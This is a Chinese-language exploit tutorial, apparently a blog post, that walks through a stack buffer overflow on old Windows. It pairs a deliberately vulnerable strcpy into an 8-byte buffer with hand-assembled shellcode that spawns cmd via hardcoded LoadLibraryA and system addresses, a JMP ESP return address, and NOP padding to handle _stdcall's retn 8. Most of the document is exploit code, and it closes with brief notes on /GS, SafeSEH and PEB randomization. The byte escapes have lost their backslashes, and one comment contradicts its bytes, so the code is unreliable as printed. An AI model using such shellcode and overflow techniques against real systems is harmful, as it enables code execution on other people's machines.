#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
//打开CMD的shellcode
"x55" //push ebp
"x8BxEC" //mov ebp, esp
"x33xC0" //xor eax, eax
"x50" //push eax
"x50" //push eax
"x50" //push eax
"xC6x45xF5x6D" //mov byte ptr[ebp-0Bh], 6Dh
"xC6x45xF6x73" //mov byte ptr[ebp-0Ah], 73h
"xC6x45xF7x76" //mov byte ptr[ebp-09h], 76h
"xC6x45xF8x63" //mov byte ptr[ebp-08h], 63h
"xC6x45xF9x72" //mov byte ptr[ebp-07h], 72h
"xC6x45xFAx74" //mov byte ptr[ebp-06h], 74h
"xC6x45xFBx2E" //mov byte ptr[ebp-05h], 2Eh
"xC6x45xFCx64" //mov byte ptr[ebp-04h], 64h
"xC6x45xFDx6C" //mov byte ptr[ebp-03h], 6Ch
"xC6x45xFEx6C" //mov byte ptr[ebp-02h], 6Ch
"x8Dx45xF5" //lea eax, [ebp-0Bh]
"x50" //push eax
"xBAx7Bx1Dx80x7C" //mov edx, 0x7C801D7Bh LoadLibraryA msvcrt.dll
"xFFxD2" //call edx
"x83xC4x0C" //add esp, 0Ch
"x8BxEC" //mov ebp, esp
"x33xC0" //xor eax, eax
"x50" //push eax
"x50" //push eax
"x50" //push eax
"xC6x45xFCx63" //mov byte ptr[ebp-04h], 63h
"xC6x45xFDx6D" //mov byte ptr[ebp-03h], 6Dh
"xC6x45xFEx64" //mov byte ptr[ebp-02h], 64h
"x8Dx45xFC" //lea eax, [ebp-04h]
"x50" //push eax cmd
"xB8xC7x93xBFx77" //mov edx, 0x77BF93C7h
"xFFxD0" //call edx
"x83xC4x10" //add esp, 10h
"x5D" //pop ebp
"x6Ax00" //push 0
"xB8xc7x93xbfx77" //mov eax, 0x7c81cb12
"xFFxD0"; //call eax
int fun(char *szIn,int nText)
{
char szBuff[8];
printf("%d
",nText);
strcpy(szBuff,szIn);
return 0;
}
int main(void)
{
char sz_In[] = "1234567890ab"
/*"x14xffx12x00"*/
"x12x45xfax7f" //通用类型
"x55" //push ebp
"x8BxEC" //mov ebp, esp
"x33xC0" //xor eax, eax
"x50" //push eax
"x50" //push eax
"x50" //push eax
"xC6x45xF5x6D" //mov byte ptr[ebp-0Bh], 6Dh
"xC6x45xF6x73" //mov byte ptr[ebp-0Ah], 73h
"xC6x45xF7x76" //mov byte ptr[ebp-09h], 76h
"xC6x45xF8x63" //mov byte ptr[ebp-08h], 63h
"xC6x45xF9x72" //mov byte ptr[ebp-07h], 72h
"xC6x45xFAx74" //mov byte ptr[ebp-06h], 74h
"xC6x45xFBx2E" //mov byte ptr[ebp-05h], 2Eh
"xC6x45xFCx64" //mov byte ptr[ebp-04h], 64h
"xC6x45xFDx6C" //mov byte ptr[ebp-03h], 6Ch
"xC6x45xFEx6C" //mov byte ptr[ebp-02h], 6Ch
"x8Dx45xF5" //lea eax, [ebp-0Bh]
"x50" //push eax
"xBAx7Bx1Dx80x7C" //mov edx, 0x7C801D7Bh LoadLibraryA msvcrt.dll
"xFFxD2" //call edx
"x83xC4x0C" //add esp, 0Ch
"x8BxEC" //mov ebp, esp
"x33xC0" //xor eax, eax
"x50" //push eax
"x50" //push eax
"x50" //push eax
"xC6x45xFCx63" //mov byte ptr[ebp-04h], 63h
"xC6x45xFDx6D" //mov byte ptr[ebp-03h], 6Dh
"xC6x45xFEx64" //mov byte ptr[ebp-02h], 64h
"x8Dx45xFC" //lea eax, [ebp-04h]
"x50" //push eax cmd
"xB8xC7x93xBFx77" //mov edx, 0x77BF93C7h
"xFFxD0" //call edx
"x83xC4x10" //add esp, 10h
"x5D" //pop ebp
"x6Ax00" //push 0
"xB8xc7x93xbfx77" //mov eax, 0x7c81cb12
"xFFxD0"; //call eax
fun(sz_In,888);
return 0;
}
因为我们要找的只是返回地址,所以去看一执行完strcpy函数时返回地址是
fun函数为_cdecl ebp+4 就是返回地址
也可以执行到ret处看 ESP对应的值 就是返回地址
如果是WINPAI 也就是 _stdcall调用呢
0040104C |. 51 PUSH ECX ; /src 0040104D |. 8D55 F8 LEA EDX,DWORD PTR SS:[EBP-8] ; | 00401050 |. 52 PUSH EDX ; |dest 00401051 |. E8 8A000000 CALL Shellcod.strcpy ; strcpy 00401056 |. 83C4 08 ADD ESP,8 00401059 |. 33C0 XOR EAX,EAX 0040105B |. 5F POP EDI 0040105C |. 5E POP ESI 0040105D |. 5B POP EBX 0040105E |. 83C4 48 ADD ESP,48 00401061 |. 3BEC CMP EBP,ESP 00401063 |. E8 E8010000 CALL Shellcod.__chkesp 00401068 |. 8BE5 MOV ESP,EBP 0040106A |. 5D POP EBP 0040106B . C2 0800 RETN 8最后是retn 8
ESP ==> > 66656463 ESP+4 > 55696867 ESP+8 > C033EC8B ESP+C > C6505050retn 8 带来的效果就是 将 esp弹出 并弹出堆栈8字节:
最后变成这样
ESP ==> > C6505050 ESP+4 > C66DF545 ESP+8 > C673F645所以 跳过了0xc个字节
我们采用通用 JMP ESP
0x7FFA4512
这个时候的ESP就在原来的8字节后了
修改shellcode为:
char sz_In[] = "1234567890ab"
/*"x14xffx12x00"*/
"x12x45xfax7f" //通用类型
"x90x90x90x90x90x90x90x90" //这里就是因为retn 8带来的效果体现 _cdecl 与 _stdCall的区别
"x55" //push ebp
"x8BxEC" //mov ebp, esp
"x33xC0" //xor eax, eax
"x50" //push eax
"x50" //push eax
"x50" //push eax
"xC6x45xF5x6D" //mov byte ptr[ebp-0Bh], 6Dh
"xC6x45xF6x73" //mov byte ptr[ebp-0Ah], 73h
"xC6x45xF7x76" //mov byte ptr[ebp-09h], 76h
"xC6x45xF8x63" //mov byte ptr[ebp-08h], 63h
"xC6x45xF9x72" //mov byte ptr[ebp-07h], 72h
"xC6x45xFAx74" //mov byte ptr[ebp-06h], 74h
"xC6x45xFBx2E" //mov byte ptr[ebp-05h], 2Eh
"xC6x45xFCx64" //mov byte ptr[ebp-04h], 64h
"xC6x45xFDx6C" //mov byte ptr[ebp-03h], 6Ch
"xC6x45xFEx6C" //mov byte ptr[ebp-02h], 6Ch
"x8Dx45xF5" //lea eax, [ebp-0Bh]
"x50" //push eax
"xBAx7Bx1Dx80x7C" //mov edx, 0x7C801D7Bh LoadLibraryA msvcrt.dll
"xFFxD2" //call edx
"x83xC4x0C" //add esp, 0Ch
"x8BxEC" //mov ebp, esp
"x33xC0" //xor eax, eax
"x50" //push eax
"x50" //push eax
"x50" //push eax
"xC6x45xFCx63" //mov byte ptr[ebp-04h], 63h
"xC6x45xFDx6D" //mov byte ptr[ebp-03h], 6Dh
"xC6x45xFEx64" //mov byte ptr[ebp-02h], 64h
"x8Dx45xFC" //lea eax, [ebp-04h]
"x50" //push eax cmd
"xB8xC7x93xBFx77" //mov edx, 0x77BF93C7h
"xFFxD0" //call edx
"x83xC4x10" //add esp, 10h
"x5D" //pop ebp
"x6Ax00" //push 0
"xB8xc7x93xbfx77" //mov eax, 0x7c81cb12
"xFFxD0"; //call eax
另外PS:
2003 /GS 对COOKIE进行检查 溢出将COOKIE覆盖 就不运行 返回地址 对堆栈溢出有保护功能 只存在2003 和VS.NET上
2003 SEH 检查ESH的处理函数 是否与已注册过函数的地址列表进行对照 没有相匹配的就不进行处理函数的调用
XP2 对PEB指针有随机性 但就在几个值之间随机移动